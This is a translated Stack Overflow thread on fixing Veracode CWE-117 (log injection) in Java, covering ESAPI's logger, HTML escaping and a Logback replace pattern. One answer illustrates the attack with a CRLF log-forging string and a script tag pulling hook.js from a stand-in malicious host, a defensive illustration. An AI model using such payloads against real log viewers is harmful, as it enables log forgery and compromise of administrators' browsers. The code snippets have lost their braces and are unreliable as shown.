如何修复 Veracode CWE 117（不正确的日志输出中和）

Posted 2023-02-19

【中文标题】如何修复 Veracode CWE 117（不正确的日志输出中和）

【英文标题】：How to fix Veracode CWE 117 (Improper Output Neutralization for Logs)

【发布时间】：2017-12-10 11:33:23

【问题描述】：

有一个 Spring 全局 @ExceptionHandler(Exception.class) 方法可以记录这样的异常：

@ExceptionHandler(Exception.class)
void handleException(Exception ex) 
    logger.error("Simple error message", ex);
...

Veracode 扫描显示此日志记录有 Improper Output Neutralization for Logs 并建议使用 ESAPI 记录器。有什么方法可以在不将记录器更改为 ESAPI 的情况下修复此漏洞？这是代码中唯一遇到此问题的地方，我试图找出如何通过最少的更改来解决它。也许 ESAPI 有一些我没有注意到的方法？

附：当前记录器是 Log4j 而不是 slf4j

统一更新： 最后我使用了 ESAPI 记录器。我以为它不会使用我的默认日志记录服务，但我错了，它只是使用了我的 slf4j 记录器接口和适当的配置。

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI 具有 log4j 记录器和记录器工厂的扩展。它可以配置在 ESAPI.properties 中使用什么。例如：

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

【问题讨论】：

请添加适合您的解决方案。

@Aczire 正如我在 UPD 中提到的：我只是使用了 ESAPI 记录器，没有任何额外的配置。它使用了我的默认 slf4j 记录器。 private static final Logger logger = ESAPI.getLogger(MyClass.class); ... logger.error(null, "Simple error message", ex);

嗨@VitaliyBorisok，我也面临同样的问题。您能否帮助我了解您在 ESAPI 记录器中使用的 Slf4j 配置。我使用了您上面建议的解决方案。但我得到： 原因：java.lang.IllegalArgumentException：无法将 ESAPI.properties 作为类加载器资源加载。

嗨@CharuJain，你的类路径中有ESAPI.properties 文件吗？ ESAPI 库需要这个文件。以github.com/OWASP/EJSF/blob/master/esapi_master_FULL/WebContent/…为例，查看ESAPI配置文件。

我认为不需要为 CRLF 清理日志记录异常，因为异常数据是可信的（用户无法操作）

【参考方案1】：

有什么方法可以在不更改的情况下修复此漏洞 记录到 ESAPI？

简而言之，是的。

TLDR：

首先了解错误的严重性。主要关注的是伪造日志语句。假设你有这样的代码：

log.error( transactionId + " for user " + username + " was unsuccessful."

如果任何一个变量都在用户控制之下，他们可以使用\r\n for user foobar was successful\rn 之类的输入来注入错误的日志语句，从而允许他们伪造日志并掩盖他们的踪迹。 （好吧，在这种人为的情况下，只是让它更难看到发生了什么。）

第二种攻击方法更像是国际象棋。许多日志是 html 格式的，可​​以在另一个程序中查看，对于这个例子，我们假设日志是 HTML 文件，可以在浏览器中查看。现在我们注入<script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>，您将使用最有可能作为服务器管理员执行的漏洞利用框架挂钩浏览器......因为它怀疑首席执行官是否会阅读日志。现在真正的破解可以开始了。

防御：

一个简单的防御措施是确保所有带有用户输入的日志语句都使用明显的字符“\n”和“\r”转义，例如“֎”，或者您可以执行 ESAPI 所做的并使用下划线转义。只要它一致就真的没关系，只要记住不要在日志中使用会让你感到困惑的字符集。类似userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

我还发现确保精确指定日志格式很有用...这意味着您要确保对日志语句的外观和格式设置有严格的标准，以便更容易捕获恶意用户.所有程序员都必须投稿并遵守格式！

为了防御 HTML 场景，我会使用 [OWASP 编码器项目][1]

至于为什么推荐 ESAPI 的实现，它是一个久经考验的库，但简而言之，这本质上就是我们所做的。见代码：

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the @code Throwable from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) 

    // Check to see if we need to log.
    if (!isEnabledFor(level)) 
        return;
    

    // ensure there's something to log
    if (message == null) 
        message = "";
    

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) 
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) 
            clean += " (Encoded)";
        
    

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) 
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    
    if (logAppName) 
        appInfo.append("/").append(applicationName);
    
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) 
        typeInfo += type + " ";
    

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);

参见第 398-453 行。这就是 ESAPI 提供的所有转义。我建议也复制单元测试。

[免责声明]：我是 ESAPI 的项目联合负责人。

[1]:https://www.owasp.org/index.php/OWASP_Java_Encoder_Project 并确保您的输入在进入日志记录语句时被正确编码——每一位都与您将输入发送回用户时一样多。

【讨论】：

感谢您的澄清和建议，但我相信在我的情况下 Veracode 不喜欢 Throwable 参数，因为消息只是一个字符串，没有任何与动态参数连接的字符串，所以简单的 encodeForHTML 在这里不起作用ESAPI 不提供获取有效 Throwable 以进行日志记录的方法。

最后我使用了 ESAPI 记录器。我以为它不会使用我的默认日志服务，但我错了。

如果我们从字面上谈论传递文字 Throwable 是有道理的，因为一般来说，在该级别处理异常并不是一个好主意。

我同意你的看法。

那么为什么自 2011 年以来 ESAPI 库没有得到积极维护？从那以后有一个 .1 版本和一个 .1.1 版本，就是这样。没有活动。为什么我们要使用自 2011 年以来没有跟上最新安全性的库？

【参考方案2】：

我是 Veracode 的新手，面对的是 CWE-117。我知道当您的记录器语句有可能通过传入的恶意请求的参数值受到攻击时，Veracode 会引发此错误。因此，我们需要从记录器语句中使用的变量中删除 /r 和 /n (CRLF)。

大多数新手会想知道应该使用什么方法从 logger 语句中传递的变量中删除 CRLF。有时 replaceAll() 也不起作用，因为它不是 Veracode 认可的方法。因此，这里是 Veracode 处理 CWE 问题的批准方法的链接。 https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA

就我而言，我使用了上面链接中提到的 org.springframework.web.util.HtmlUtils.htmlEscape 并解决了问题。

private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement 
LOG.info("brand , country ",brand,country);
//Correct logger statement
LOG.info("brand , country ",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));

【讨论】：

是的，这解决了 Spring Utils 类的问题。好东西，您不需要导入额外的依赖项或更改当前的记录器实现。

有趣。但是我对这种方法的性能问题有疑问/怀疑。例如，brand 对象非常“重”，您只在debug 级别记录它，而在产品中您有info 级别。在您的代码中，您仍然每次都处理品牌对象，而不考虑打开的日志级别。有没有办法在没有额外 if 语句的情况下使用您的转义工具？为每个日志添加 if 语句似乎很难看，它破坏了 slf4j 的一些好处

我猜你想问什么应该是高效的日志记录方式。开发人员应该使用他们的最佳判断来使用适当的日志级别来打印重物。这里的想法是使用htmlEscape方法来超越CWE117问题。

【参考方案3】：

虽然我有点晚了，但我认为它会帮助那些不想使用 ESAPI 库并且只面临异常处理程序类问题的人

使用apache公共库

import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));

【讨论】：

您是不是错过了这样的实际错误消息？

【参考方案4】：

为了避免 Veracode CWE 117 漏洞，我使用了一个自定义记录器类，它使用 HtmlUtils.htmlEscape() 函数来缓解漏洞。 Veracode 推荐的解决此问题的方法是使用 ESAPI 记录器，但如果您不想为您的项目添加额外的依赖项，这应该可以正常工作。 https://github.com/divyashree11/VeracodeFixesJava/blob/master/spring-annotation-logs-demo/src/main/java/com/spring/demo/util/CustomLogger.java

【参考方案5】：

如果您使用 Logback，请在您的 logback 配置模式中使用 replace 函数

原创图案

<pattern>%d %level %logger : %msg%n</pattern>

替换

<pattern>%d %level %logger : %replace(%msg)'[\r\n]', '_' %n</pattern>

如果你也想去掉<script>标签

<pattern>%d %-5level %logger : %replace(%msg)'[\r\n]|&lt;script', '_' %n</pattern>

这样您就不需要修改单个日志语句。

【讨论】：

这很好，但不幸的是，Veracode 实际上并不知道这种情况（或写入日志时的任何其他解决方案）已经发生，您仍然需要缓解。

@user2957009 如果您认为这修复了相关安全漏洞，您可以将违规关闭为“通过设计缓解”。毕竟我们应该努力编写安全且可维护的代码，而不仅仅是为了让 Veracode 开心